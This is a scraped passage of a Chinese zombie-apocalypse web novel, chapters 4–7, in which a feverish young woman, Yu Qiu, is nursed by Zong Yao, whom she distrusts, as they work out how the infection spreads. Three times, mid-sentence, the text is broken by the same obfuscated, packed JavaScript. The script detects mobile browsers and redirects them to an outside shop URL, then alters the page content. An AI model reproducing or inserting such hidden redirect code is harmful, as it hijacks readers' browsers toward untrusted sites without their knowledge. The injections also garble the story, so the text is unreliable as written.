人不可能栖息在完全封闭的空间里,所以哪怕周末早上出门的人比平时少很多,待在家里也未必是安全的。 雾气会通过门窗的缝隙、各种管道进入建筑内,所以,同事的妈妈在厨房做着饭忽然变成丧尸了...... 所以,感染的条件是与病毒接触的面积有关,还是吸入量的多少有关呢? 她会在沉睡中变成丧尸么? 门外的丧尸如果迟迟找不到食物,会不会破门而入? 如果没有宗爻,此刻虚弱的她又能够抵挡吗? 她觉得自己有些不对劲,因为她对等于救了她的命的宗爻,竟然没有感激,只有怀疑。 “余秋?” 宗爻的呼唤打断了余秋的沉思,她回过神来,看到宗爻蹲在一米外的地上仰着脸看她。 他早已把染血的外套脱掉了,此刻只着一件看着十分柔软的灰色高领毛衣,仰头的动作使他露出半截脖颈,颈子上的皮肤是麦色的,喉结突出,整体线条流畅...... 沙发有些矮,身高腿长的男人,蹲着的高度也快要与坐着的她齐平了。 其实可以平视的,但他还是选择微微仰起脸——是在展露自己的无害么? 余秋的目光落在他温和又有些紧张的眉眼上,猜测他可能想要让自己放低戒备。 于是她微微勾唇朝他笑了笑。 看到她笑了,宗爻脸上的紧张便瞬间褪去,问她:“是不是我话太多,吵得你头疼?” “没有,我只是有点走神了。” “嗯......时间到了。”宗爻提醒她取出体温计。 电子体温计上面显示的数字,38.8°C。 “烧得有点严重,”宗爻站起身来,问她:“家里有药吗?” 应该是有的,就是不知道过期了没有,放在哪里也忘了。 于是宗爻翻箱倒柜的去找退烧药。 余秋的目光落在他从布袋里取出的一堆东西上。 有方便面,火腿肠,真空包装的一小袋小米,散装的小面包,能量饮料,巧克力,肉干,棒棒糖、榨菜......还有一袋白胖的包子。 宗爻终于找到药,又去厨房给她烧开水。 等他端着兑好的温水回到客厅,就见余秋盯着那袋包子在出神。 他问:“饿了吗?” 随即解释道:“外面完全乱了,路过一个便利店,店员已经变成丧尸跑开了,我怕你家里没吃的,就进去......随便拿了一点。” 顿了一下后他又加了一句:“我放了钱在柜台上。” 余秋点头。 其实他不必解释,就算他没给钱,难道多亏他才能吃上饭的自己,还要挑拣食物来处么? 宗爻又道:“包子是蒸熟的,不过现在肯定凉了。刚好我也没吃饭,你先喝点水,我去把包子热了,再煮个粥。” 他把水杯递过来,“我看到厨房有微波炉,还有个锅,应该可以用吧?” 余秋接过水杯,点头。 察觉这样的回应有些冷淡,她加了一句:“那个锅是我买来煮牛奶的,不过还没用上过。” 宗爻似乎有点开心,他说:“忘记拿些牛奶了,你喜欢喝?那我晚点再出去找。” 余秋说不用,他也不坚持,拿着要用的食材去厨房了。 小口啜了半杯水,饥饿感慢慢上来了,空空的胃袋发出轻微的抗议声,余秋想起自己起床还没洗漱。 坐着缓了半天,身体终于积攒起一点力量,她扶着扶手缓缓起身,挪去了卫生间。 镜子里年轻的女人面色苍白中带着不正常的红晕,令一向清冷的脸上多了丝人气儿,显得不那么难以接近了。 她生得五官精致,其实是个美人儿,长相是从小被夸到大的。 但是自从父母感情出了问题,频繁争吵的那一年开始,余秋就很少笑了。 她总是冷着一张脸,眼神看什么东西都是淡淡的。 不活泼,不讨喜,于是不止是外人,连父母都不愿意亲近她,就连后来离婚了,都争着要甩开她。 余秋也不是很在乎。 她盯着自己看了一会儿,又垂下了眼。 从十几岁开始,她就总是半垂着眼,以此拦截旁人对她内心的窥探,这样能带给她安全感。 余秋走到厕所的窗边向外望去。 天还是阴的,那些人所形容的雾气早散尽了,空气中只余秋日的凉意。 她低头往地面上看去。 因为层高的原因,房子这一侧的视野很好,可以看到近处是一条长长的街,街对面坐落着两个同样比较新的小区,住宅楼都建的很高。 这一带住户密集,人流量很大,街道两侧皆是商铺,平时从早到晚都很热闹的地方,今天看起来却有些荒凉,只有寥寥几个人影在徘徊。 地面上的人影在这个高度看来,如同一颗颗豆子,在街道上缓慢滚动着,姿态很不自然,没有活人的流畅。 快十点了。 如果异变始于雾散后的七点半,那么两个多小时过去,此时绝大部分人应该都已经苏醒,并且意识到了世界的巨变。 华国民众对政府的信任度是很高的,在发现身边的危险,又收到那条官方短信之后,没有人会轻易作死的出门的。 余秋知道,那是丧尸。 此刻出现在户外的,绝大部分都是丧尸。 她默默数着,视线里的丧尸看起来好像不多的样子。 但她不敢乐观,因为异变发生在周末的早上,孩子不用早起上学,上班族不用早起赶去公司,大部分人早上七点半都在家里,有些还处于睡梦中。 其中的一部分变成了丧尸,不用很多,一个家庭里哪怕只有一个人感染了病毒,那么——这个家还能保住吗? 人们对于近在身边的亲人是没有防备的,当家人突如其来的袭击,有多少人能反应的过来? 他们躲得开吗?即使躲得开,又能下得了手反击吗? 若没有及时采取行动,一个被感染的人,会不会毁掉整个家...... 余秋心里沉沉的,转身不愿细想。 打开门,她被门口杵着的人吓了一跳。 宗爻见自己吓到她,解释道:“我看你半天没有出来,怕你晕倒了。” 余秋点点头,扶着门框出来。 她以为宗爻会让开路,但他没有,反而伸出手来扶她。 那小心的动作,像深宫里的太监搀扶着身怀龙胎的娘娘。 左臂被触碰的瞬间余秋有一瞬僵硬,但她很快放松自己,勉强笑道:“搞得我像身受重伤了。” 宗爻似乎没察觉到她一瞬的抗拒,非常自然地扶着她去餐桌边坐下。 桌上放着一碟冒着热气的包子,她刚才喝掉半杯的水,也被重新添满放在她面前,旁边还有一板退烧胶囊。 宗爻拿起一个包子,撕掉底部的蒸屉纸,递给她,“粥没那么快好,你先吃包子,吃完再把药喝了。” 余秋接过包子咬了一口,立刻又吐进垃圾桶。 “牛肉的。”她说。 抬头对上宗爻惊愕的视线,余秋捏着包子的手微微用力,片刻后开口解释:“抱歉,我不太喜欢牛肉包子。” 宗爻反应很快:“不用抱歉,是我的问题,你之前跟我说过的,是我没有牢牢记住。” 他又从瓷盘里拿出一个包子,双手掰开,还是牛肉的。 一盘包子被他全部掰开,只有三个是其它馅料的。 宗爻另拿了个盘子装着,放在余秋面前,示意她快吃。 “等下凉了。” “嗯。”余秋拿起半个素包子咬了一小口。 宗爻眼神温和地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17343024|199449||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看着她,像在看一块易碎的玻璃,“有什么别的禁忌,可以一并告诉我,这次我会牢牢记住的。” “没有了。”余秋摇头,埋头吃饭不再说话。 吃完包子,又喝了药,余秋再次被扶到沙发上坐下。 宗爻问她:“你想睡一会儿,还是跟我聊聊天?” “聊聊吧。” 余秋问起他的遭遇。 宗爻说,在酒店里没什么事,他昨天也睡得早。 早上按着生物钟醒来,看外面却还是黑的。 他以为只是阴天,就起床锻炼了一会儿,又洗了个澡。 洗完澡发现天还是黑的,他看了眼手机上的时间,刚过七点。 他想打开窗看看天,外面的浓雾冲进来,他嗅了嗅,是冰凉空气的味道,没有异味。 他以为只是普通的雾,重又关上了窗。 直到酒店里传来尖叫呼救声。 他赶了过去,声音是从同一层的某间房里传出的。 他敲门,听到里面有奇怪的“赫赫”声,还有肢体不停碰撞的声音。 当他准备破门时,酒店值班的员工拿着房卡赶来。 今天不年不节的,酒店入住率不高,同层还有几个人趿着拖鞋出来看热闹。 酒店员工刷开门时,门口已经围了一圈人。 门一开,从房间里扑出来一个人影,众人乱了一瞬,回过神来就发现围观的一个房客被咬了! 挂在他身上的是一个面色青白的男人,尖锐的獠牙刺进他下意识抬起格挡的手臂,一甩头狠狠撕下一大块肉,那个怪人咀嚼着,又要扑向另一个人! 宗爻反应过来迅速上前帮忙,角力过程中发现对方力气大的不似常人,与他虚浮的体态完全不符,反应却比常人要慢一些,布满红丝的眼睛里瞳孔涣散,已经没有心跳脉搏等活人体征。 既然不似活人,宗爻下了狠手,扭折对方一只手,又踩断他右腿,却发现这种常人难以忍受的痛苦,对对方没有丝毫影响,它还在活动,好像不会感觉到痛一般! 战斗中还在不停咀嚼嘴里的肉,断了一手一脚,仍不遗余力要扑向周围的人! 这太可怕了,人群吓得尖叫着四散。 宗爻下了狠手仍旧不能完全让对方失去行动能力,直到有个胆大的房客回房拿了条被单出来,从后面将怪人罩住,缠绕几下,和宗爻一起把他死死捆住。 见怪人被制服,散开的人群又聚拢过来,众人一起走进房间,看到了极其血腥的一幕! 一个被咬断脖颈的女人倒在床的边沿,大动脉喷出的鲜血直射天花板,又滴落到房间各处。 浓浓的血腥味溢满鼻腔,女人脸上神情定格在惊恐上,仿佛不敢置信这个攻击她的是昨晚同床共枕的男人。 一群人呆愣许久,才有人哆哆嗦嗦的摸出手机报警。 报警电话打不通,每个人打进去都是无法接通的忙音。 他们又试了119、120,也都打不通。 这太可怕了! 嗜血食人的怪人,外面不断传来的尖叫,打不通的报警电话......都在昭示着这个清晨的异常,世界到底怎么了? 没有人能回答他们,他们把视线对准了酒店员工和刚才出过力的宗爻身上,企图找到一个能为他们指引方向的人。 宗爻没空管这些,他在给余秋打电话。 余秋没有接。 接着又打,还是无人接听。 宗爻推开人群就下了楼。 那群人迅速跟上了他。 下去后,大堂里已经聚集了十几个人,有酒店房客,也有清洁人员,个个面色惊惶。 宗爻按下负一楼的电梯,准备下去停车场。 等待电梯的时间,他听到身后传来惊呼,回头看去。 那个胳膊被咬掉一块肉的男人也跟着下楼了。 他刚刚还不停在呼痛,让人帮他打120。 可是此刻。 短短十分钟内,他面色已然发青,大张着嘴,嘴角流下粘稠的涎水,眼睛里红色的血丝在蔓延,托着胳膊的左手指甲也变了颜色...... 他身旁的人偶然侧头看到了,吓得惊声尖叫,大喊:“他也要变成那样了!他被传染了!快把他绑起来!” 人群哄一下散开,形成一块真空地带,只留下站在原地的受伤男人。 他瞳孔颤动,喉头发出不明的闷响,呼哧呼哧喘着粗气,声音已经开始不清楚了,艰难地吐字:“救、救我......” 四周一片寂静,没有人敢上前,也没有人能救他。 他的指甲变长了,胳膊上的伤口似乎感觉不到疼痛了,涣散的瞳孔对准了人群,仿佛下一秒就要扑上来了! 有人瑟瑟发抖。 有人吓得哽咽。 有人抱起装饰用的花瓶,从背后狠狠砸上他的脑袋! “砰”的一声,伴随着花瓶碎落在地的哗啦声,男人后脑渗出红里发黑的血液,软倒在地,再也不会动了。 人群再次喧哗起来。 宗爻没去听他们在愤怒地指责着什么,大步迈进通往停车场的电梯。 5. 第 5 章 “所以,被丧尸咬到的人,除非直接被咬断了脖颈,否则都会在十分钟内感染,变成新的丧尸?” “对,速度非常快。” “路上丧尸也不多?” “是,应该大部分还留在室内,丧尸的移动也需要时间,我是在进入小区时才又正面遇上它们。” 光厦公寓里都是对外出租的公寓楼,住户基本都是外来务工的年轻人,难得的周日休息时间,很少有人那么早起来,外出的更是少数。 何况夜间起了大雾,偶有人起得早,也会被浓雾劝退。 宗爻到达小区后,门卫室的门由内锁着,夜间值班的门卫小李变成了丧尸,在小小的门卫室里冲撞。 宗爻没有管他,直接翻过电动闸门进入小区。 小区里只有零散几个丧尸,不知道是早起然后变成丧尸的人,还是后来从楼栋里走出来的丧尸。 宗爻说:“虽然已经没有了活人体征,但它们能感应到活人的气息。不是靠视觉,因为随着我靠近,一个背对我游荡的丧尸,迅速转身锁定了我的位置。” “应该也不是靠听觉,我的动作十分小心,几乎没有发出声音。距离大概五十米左右,不知道是靠嗅觉还是未知的其他感官,总之它们对活人的感应十分敏锐。” 余秋想起他说的是正面遇上,便问:“它们追上你了?” “追不上,它们目前动作有些迟缓,跑是跑不过我的。但是我想,你毕竟住在这里,小区内潜藏的危险当然越少越好,所以趁着它们数量还少,先行解决掉了。” “嗯......”余秋不知道该不该说句谢谢,最后还是没说,只是继续问道:“你上来是乘电梯还是走的楼梯?” “电梯卡在12楼不动了,我走的楼梯。” 宗爻说:“爬楼的过程中我观察过,从二楼开始,几乎每一层走廊里都有零散的丧尸。12楼的电梯间我也看了,被一具男性尸体挡住了无法闭合,一只女性丧尸正在啃食他,我把丧尸杀了之后搬开尸体,电梯现在已经可以正常使用了。” 余秋看向他的眼睛:“被啃食的那个人没有变成丧尸么?” “没有,他的致命伤在胸口,被丧尸利爪挖破了心脏,应该是死亡后才被啃食。” 余秋若有所思,结合宗爻在酒店的经历,总结道:“所以被丧尸抓到和杀死都不一定会感染,被丧尸咬伤后还活着的人才会被感染?” “这只是我遇到的,样本太少,不能百分百确定。” 宗爻嘴里说着不确定,余秋却总有一种他其实非常确定的直觉。 空气中出现小米粥的清香,厨房传来轻微的咕嘟声。 “我去看看粥。”宗爻从沙发上起身。 沙发凹陷的位置回弹,隔着一个身位坐着的余秋身形晃了一下。 太虚弱了。 她拧眉,看向客厅墙上的钟,差两分钟到10点。 以目前的信息来看,丧尸是在七点半雾散后开始出现的。 一开始数量应该不多,大部分都被困在室内。 但就像这栋公寓楼一样,随着活人的行动,也许是为了逃命,一些房门被打开了。 打开门的人不知道能否幸运存活,但是被封闭室内的丧尸却随之流动起来。 余秋不知道丧尸的武力值是不是始终不变的,起码目前来看,它们并非不可战胜。 虽形容可怖,但它们速度不及常人,头部更是致命的弱点。 只要有足够的勇气,找准弱点,普通人也是能杀死丧尸的。 她想起手机上那条短信。 国家建议民众自行躲避,没有提到救援的问题。 余秋能够理解,病毒并不是选择性出现的,它平等地出现在世界各地。 不止普通百姓会被感染,医务人员,公职人员,军队等,同样会面临感染病毒的危机。 尤其是军队。 与普通人以家庭为单位的居住环境不同,部队是一个集体环境,密集的住宿条件下,一旦其中出现丧尸,感染的速度应该是非常快的。 而进行全国大面积的集体救援,只有数量庞大的军队可以做到。 如果情况乐观的话,大概等他们解决完内部危险,就能腾出手来对普通民众进行救援了。 宗爻从厨房走了出来,对她说:“粥还没煮好。” 他走近,看到余秋额头细密的汗珠,“是不是很难受?你先回床上休息一会儿,等粥好了我再叫你。” “嗯。”她确实有些撑不住了。 得到她的首肯,宗爻便扶着她进了卧室,将人安置在床上,替她盖上被子。 卧室的窗帘还闭合着,光线昏暗。 余秋陷进柔软的枕头里,黑色长发铺散开来,衬的脸更小,皮肤更白了。 若忽略她冷淡的眼神,看起来就是普通又柔弱的漂亮女人。 宗爻站在一米外,居高临下看着她。 房间很黑,没有开灯,他站在逆光的方向,余秋看不太清楚他的面容。 但不知为何,余秋就是感觉他此时的表情很奇怪。 对上余秋看过来的眼神,宗爻低声道:“没想到见面第二天,我就能在你家厨房为你煮粥了。” “你放心,我一定会保护好你,不会让任何人伤害到你。” 他的声音十分悦耳,这句话由他说出来,听着像一句动人的情话般。 余秋被子下的胳膊上泛起细密的鸡皮疙瘩。 “谢谢。”她说完赶紧转移话题:“你联系家人了么?事发突然,他们应该很担心你吧。” 宗爻道:“来的路上接到了爷爷的电话,家里人都好好的。知道我暂时回不去,让我注意安全。” 头又开始痛,余秋忍着头疼问:“为什么回不去,你不是有车么?” 宗爻走到床边蹲下,虽是平视着她,眼神却像在看一个柔弱的孩子。 他细细和她解释:“我老家虽在200多公里外的台城,但家人天南海北,即便回去了,也只有我一个人,不如留在这里陪你。” “陪我......”余秋的声音渐渐虚弱。 看着她眼皮一点点耷拉下来,最后彻底闭上。 宗爻的声音变得很轻,“是啊,困了就睡吧。” “我会一直......”后面的几个字几不可闻。 宗爻起身出去了。 床上的余秋睁开眼,眼神清明。 她的视线在门把手下面的反锁键上停留了一会儿,又自嘲地勾勾嘴角,收回了目光。 她拿过放在一旁的手机,解锁看了看,没有新的来电。 自从毕业开始工作后,她的家人就再也没有出现过,连一个电话,一条短信的问候都没有。 她早已不再期待,但还是点开许久没更新的聊天框,象征性地问候一声:你还好吗? 刺目的红色感叹号跳了出来。 余秋尾指抽搐了一下,把聊天框和这个号码一起删掉了。 手机 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17343025|199449||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上各类社交软件像煮开的锅一样沸腾着。 惊慌的言论不断刷新,每一秒钟都有人在求救,缺乏平台工作人员审核的血腥图片视频一条接着一条,触目惊心。 余秋被网络上的氛围所感,心脏扑通扑通地急速跳着,满目鲜红刺的她脑袋更加晕眩。 她关掉论坛,点开了小区的微信群。 群消息也不断刷新着,余秋往上翻了翻,意外看到关于宗爻的消息。 5栋1102:我这周围从七点多开始就不停有人在惨叫,我想知道这层还有活人吗,不会就我一个了吧【崩溃】【大哭】 2栋308:窝草!小区大门口不知道从哪过来好几只丧尸!门卫呢?保安呢?没人管吗?!它们翻进来怎么办! 2栋611:丧尸在敲我门啊!!之前进小区的狠人呢?我在窗口看到他一口气干翻了好几个,能不能来救救我啊!这木门感觉抗不了多久,我好害怕! 1栋804:什么狠人?我也一直在窗口,我怎么没看到? 2栋611:你那个方向应该只能看到小区外面吧?就大概半个小时前,一个男的从小区门口往里走,几个人追着他咬,一个一个全被他拿个棍子敲晕了! 8栋1306:什么敲晕了,是打死了吧!我隔壁的女人就变丧尸了,追着她男人咬,我看他男人被追到走廊里,拿灭火器照着头上砸,一下就打死了! 8栋1717:这不是杀人犯吗,还跟我们一栋楼...... 8栋1306:楼上那个你是不是傻逼,那些都不是人了,丧尸懂不懂?看没看过丧尸电影?还杀人犯,搞不搞笑!不反击等着被咬死吗! ...... 看着看着,好像药劲儿真的上来了,余秋眼皮越来越沉,慢慢昏睡过去。 她又陷进纷杂无序的梦里,梦中她时而飘在天上,时而沉入水底。 天上的云层厚重,像棉被一样压在她身上,压得她喘不过气。 水从四面八方涌入她的身体,似乎把她填满了,变成了一颗晃荡又臌胀的水球,随时可能爆炸。 她的呼吸越来越急促,心脏仿佛被什么东西挤压着,越痛,越是拼命的搏动,像是一只不甘命运的野兽,拼命抵抗着某种桎梏。 然后她感觉到有什么东西钻进了心脏,随着一次又一次的收缩与舒张,那东西和血液一起,流向她的四肢百骸。 “余秋,余秋?” 好像有人在叫她。 那陌生的声音令她产生灵魂从高空跌落一般的恐慌,剧烈的刺激令她心脏收缩,她惊呼出声,然后猛地醒了过来! 余秋双目圆睁,定定地看着天花板,半晌才在宗爻的呼唤声中缓缓回神。 她转动眼珠,看到宗爻在床边俯着身叫她的名字,表情忧虑,眼神中满是关怀。 看她有了反应,宗爻问她:“是不是做噩梦了?” 余秋还有点回不过神,愣愣地问他:“你怎么知道?” “我在客厅听到你的声音,喊了两声你没反应,就自己进来了。进来看到你紧紧抓着被子,眼珠乱转却醒不过来,我叫了你好几声,你才睁开眼。” 听到宗爻的解释,余秋才反应过来自己双手露在外面,正紧紧抓着身下的被子,用力到指尖发疼。 她缓缓松开手,怔怔道:“梦到从天上掉下来了。” 宗爻说:“别怕。” 余秋看着他堪称完美的温俊脸庞,和莫名包容的眼神,觉得自己不能不怕。 6. 第 6 章 天愈加暗了。 走廊的窗户似乎没有关严,呜呜的风声像不知名野兽的哀嚎,呼啸着挤进公寓楼道内。 风拍得一层楼的房门都‘咚咚’响,像是每扇门前都有一位不速之客,不知疲倦地骚扰着里面本就战战兢兢的住户。 余秋把心思从房门上收回来,看向面前的粥。 金黄的小米被小火熬了一下午,又粘又稠。 刚从锅里盛出来,还不停冒着热气,散发着食物的清香。 余秋垂手端坐着,没有动。 她这一觉从上午十点多睡到了傍晚,起来还是没退烧。 不知道是发烧烧的,还是睡久了,总之她浑身肌肉发软,每一根筋都懒洋洋的,不想动弹。 一只汤匙戳进面前的碗里,宗爻端着另一只碗坐在她侧面,说:“先吹一吹再吃。” 余秋于是抬手捏着汤匙尾巴,舀一勺轻轻吹着。 一只小碟子被推到她面前,宗爻说:“小米粥味道淡,这个榨菜是轻盐的,你搭着粥吃。” 余秋是个懒人,闻言内心只想着,如果直接把榨菜倒在粥里,就能少刷个碟子了。 然后又想,算了,反正不是我刷碗,于是低头喝起了粥。 宗爻一直看着她,余秋也不在意,像是感觉不到别人视线一样,眼里只有小米粥。 她的吃相谈不上优雅,但也不粗鲁,哪怕腹中饥饿,也吃得不紧不慢的,每一口都认真细致。 吃到一半,宗爻问她:“这层是不是住着孩子?” 余秋咽下一口粥,“是有两个小孩,怎么了?” 宗爻说:“下午你睡觉的时候,我听到小孩子的哭声,离得很近。” “嗯,他们住1608,就在斜对门,单亲妈妈带两个孩子。”余秋有些迟疑:“他们的妈妈......” “应该没事,哭了几声就停下来了,想来是被妈妈哄住了。”宗爻解释。 余秋点头,没再说话。 沉默地吃完一碗粥,余秋放下汤匙。 手刚离开,碗就被宗爻抽了去,他站起来:“再给你盛一碗,你病着,要吃饱才行。” 一副不容拒绝的姿态。 于是他们一人喝了两碗粥,吃了半碟咸菜。 余秋自己吃得很饱了,但看宗爻这样高大一个男人,两小碗粥下肚,估计只能填个胃缝儿吧。 她想问宗爻要不要泡个面吃,想到自己家里连个鸡蛋都没有,又懒得问了。 他自己带来的东西,要不要吃,吃什么,哪轮得到她来问呢? 饭后宗爻自觉去厨房洗碗。 他毕竟是客人,余秋感觉吃完饭身体恢复了一些力气,便不太好意思坐着等,于是她站在厨房门口,倚着门框看宗爻洗碗。 看着看着她发现,宗爻洗碗洗的可真好。 那双早上一路从酒店杀到她门前的手,被瓷白的碗衬着,竟十分修长好看。 宗爻被她看着干活,也表现得很淡定。 他动作利落地刷了锅碗,整理了灶台,又烧了一壶开水给她吃药用。 最后一手提着水壶,一手拿着刚洗干净的玻璃水杯,示意她让一让。 屁事儿没干还挡路的余秋让开两步,缓步跟在宗爻身后走到客厅。 两个人坐到了沙发上。 宗爻倒好了开水,准备好了药,对她说:“等水放凉一点再吃药。” 余秋不知道是不是烧坏了脑子,有点得寸进尺,“你怎么不给我吹吹?” 毕竟都服务这么周到了,她想。 “如果你要求的话。”宗爻好脾气地笑着,“也不是不可以。” 余秋:“......” 见她不语,宗爻说起下午的情况。 他的声音不知道是原本就这么温柔,还是和她说话时刻意这样,总之余秋听着听着就觉得耳朵莫名发痒。 今天他们两个说话都很注意压低声音,公寓的隔音并不好,在明知外界有危险的情况下,没用气声交流,已经算是镇定了。 宗爻说,余秋睡着了之后他整理了一下目前的物资,发现余秋家里是真的除了厨房没开过封的调味料之外,没有储存任何食物。 明明买了煮牛奶的小锅,家里却连牛奶都没买过。 听到这里,余秋不自在地咳嗽一声,再是淡定,也终于有点不好意思的感觉了。 宗爻体贴地没有再提,转而说起了外头的情况。 下午比早上要好很多,外面时不时响起的惊叫呼救声少了很多,估计大部分幸存的人已经脱离危险环境,躲了起来。 而没办法脱离危险的,恐怕自己也已经变成了危险。 他们身处的七号楼,除了小孩子的哭声外,下午只响起过两回动静,都不在这一层。 宗爻猜测这一层应该暂时没有危险了,他其实很想出去看看,但又担心卧室里睡着的余秋。 他跟余秋商量,如果明天余秋能退烧,人比较清醒的话,他想出去一趟。 家里的食物都是他今天来时匆忙带的,量少,也不够营养。 余秋太瘦了,又生着病,他想出去找些能为她补充营养的食物,再尽量清理一下这栋楼的丧尸。 光厦公寓小区位于市中心偏南,虽然新建没几年,但因为近些年来章城飞速发展,外来人员涌入,小区的入住率很高。 如果不及时清除楼栋里的丧尸,只怕它们会越来越多。 虽然大部分人都躲了起来,可是他们肯定不会一直躲着。 一旦有人出来,就会有伤亡,届时被咬伤的人便会成为新一批丧尸。 这个公寓楼里住的大部分是外地来的年轻人,年轻人嘛,工作又忙,会自己做饭的人是少数,平时不是在外面吃就是点外卖,家里的存粮不会很多。 比如余秋这样的,满屋子都找不出一把挂面。 人总要吃饭的,当家里没了食物,哪怕明知道外头危险,还不是得走出来? 外面不说,起码楼栋里的隐患,要及时拔除才行。 宗爻的担忧不无道理,余秋点头应了,也希望自己再吃一回药,睡一觉明天起来就能好。 否则......她总是这样烧得浑身发软,走路都走不快,遇到危险了该怎么办呢? 宗爻虽然承诺会一直保护她,但说到底,他们现实中也才认识两天而已,她不会把希望都寄托在别人身上。 宗爻不知道余秋在想什么,看她又不说话了,便想让她吃药。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17343026|199449||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就在他想触碰杯壁检查水温时,寂静的房间里冷不丁响起‘叮’的一声。 发呆的余秋身体不自觉打了个哆嗦,宗爻伸出的手又拐了回去,从裤子口袋里拿出手机,两秒后,他看向余秋。 余秋不解:“怎么了?” “看。”宗爻把手机递给她。 余秋没有接,就着他的手看向屏幕,上面是一条新的官方短信。 她下意识看了眼时间。 18:30,距离上一条短信的发出时间,已经过去九个多小时了。 短信上说,各大军区已经在一天内暂时控制局面,最早明天就可以开始实行就近救援。 另外呼吁各地政府联合警务部门尽量接管自来水厂和供电局、燃气公司等民生保障单位,以保证短时间内不会出现断水断电的情况,让民众能放心待在家里,非必要不外出,耐心等待官方救援。 最后或许是考虑到有些人还没脱离危险,短信上还公布了一些丧尸的特点,例如速度较慢,弱点在头部等,大致和宗爻得出的结论差不多。 余秋读了两遍,喃喃道:“国家反应的很快。” 宗爻把手机收回去,又仔细看了一遍,笑道:“这是好事。” 但他话音一转,又说:“不过,这样大规模的救援行动只能由军队来做,离章城最近的军事基地,是450公里外的梁安陆军部队,常驻兵力大约20万。” “梁安位处裕省和丰省交界处,丰省临海,近年来经济发达人口爆炸,人口密度远胜于裕省,而丰省内只有一个小型军事基地,兵力远远低于梁安军事基地,如果救援是以军事基地为圆心向周围辐射的话,这20万兵力将会有大部分被绊在丰省,根本无力向更远地区进行救援。” “更何况,经过昨天的病毒袭击后,这20万的部队还不知道能剩下多少......” 宗爻洋洋洒洒分析了一堆,却见余秋表情呆滞,似乎在发呆。 “......余秋?” “嗯?”余秋抬眸,像是才听见他说话一般。 宗爻看着她的眼睛,语气肯定地问:“你不舒服?” 余秋用力抠着掌心,她确实不舒服。 如果不是靠意志力强撑着,现在可能已经晕倒了。 她感觉自己浑身好像着起了火,那火烧得她血液滚烫,每一次流动都烫的她血管发疼。 看着宗爻满是关切的眼睛,余秋点了点头。 宗爻于是咽下原本要说出口的提议,探手试了试桌上水杯的温度,随后抠出一颗药,和水杯一起递给她:“你先吃药,吃完药去休息,其他事情等你身体好了再说。” 余秋接住水杯的手控制不住地颤抖,宗爻隔着透明的玻璃杯看见她掌心泛红的指甲印。 她已经虚弱到连水杯都握不稳了。 宗爻帮她扶住水杯,勉强把药送下了肚。 随后他半搀半抱地把余秋送回房间,替她盖好被子。 出去前他说:“外面的事情一切有我,你不用担心安全问题,好好休息。” 余秋痛得已经意识模糊了,不知道有没有听清他的话,只是沉默地闭上眼。 宗爻看着她苍白没有血色的脸,和额角渗出的冷汗,目光幽深。 7. 第 7 章 “啊——”远处传来一声凄厉而短促的惊叫声。 床上陷入睡梦中的人眉头紧皱,眼珠微颤,片刻后苏醒。 她闭着眼急促呼吸,大约十秒才缓和下来。 睁开眼,眼前一片漆黑。 下意识摸向床头柜的手落了空,手机不在那里。 始终未舒展的眉心皱得更紧,摸索着按下床头灯的开关。 熟悉的灯光没有亮起,停电了? 她慢慢地从床上坐起来,感受着肢体的僵硬,听着关节噼里啪啦一阵响,心想:我睡了多久? 她站了起来,在黑暗里扭扭脖子,伸伸手脚。 一觉起来,头晕、浑身发烫发疼的症状好了很多,嘴巴里面黏黏苦苦的,腹中空空,急需进食。 但她没理会收缩的胃袋,反而走到窗边,撩开窗帘向外看。 整个世界都是漆黑的,路灯不再亮,万家灯火也熄灭了,远处偶有一些地方亮起一瞬,又很快重归黑暗。 她放下窗帘。 在熟悉的房间里,黑暗并不能造成阻碍,何况她的视力好像好了一些。 她行动自如地走到门边,轻轻拧动门把手。 细微的‘咯吱’声响起,门把缓缓转动,伴随着‘咔哒’一声,门开了个缝。 她心里莫名松了口气,还好,没有被困在房间里。 “余秋?” 刚迈开一步,黑暗的客厅里传来压低的男声,虽然叫着她的名字,却还是把她吓得头皮发麻。 好在她及时反应了过来,定了定神,回应道:“宗爻。” 她听到宗爻在黑暗中摸索,接着打火机“嗒”一声响,火光冒出来的瞬间,照亮了沙发附近方寸之地。 一根蜡烛被点燃,烛光中,她看到宗爻一只手擎着蜡,另一只手掀开被子,从沙发上起身。 随着他靠近,蜡烛的光晕一点点吞噬周遭的黑暗,最终将她罩了进来。 那光线微黄,像方寸之间的太阳,照在身上,给人一种温暖的错觉。 宗爻停在她身前一米处,温柔的眸子注视着她,嗓音低沉:“你终于醒了。” 余秋回视他,直到看得他不自然地避开视线,她才勾了勾唇,问:“我睡了多久?” 宗爻自然下垂的视线看向地面,黑暗里一双白脚丫光秃秃的十分明显,他拧眉:“怎么没穿鞋?先过来,坐下说。” 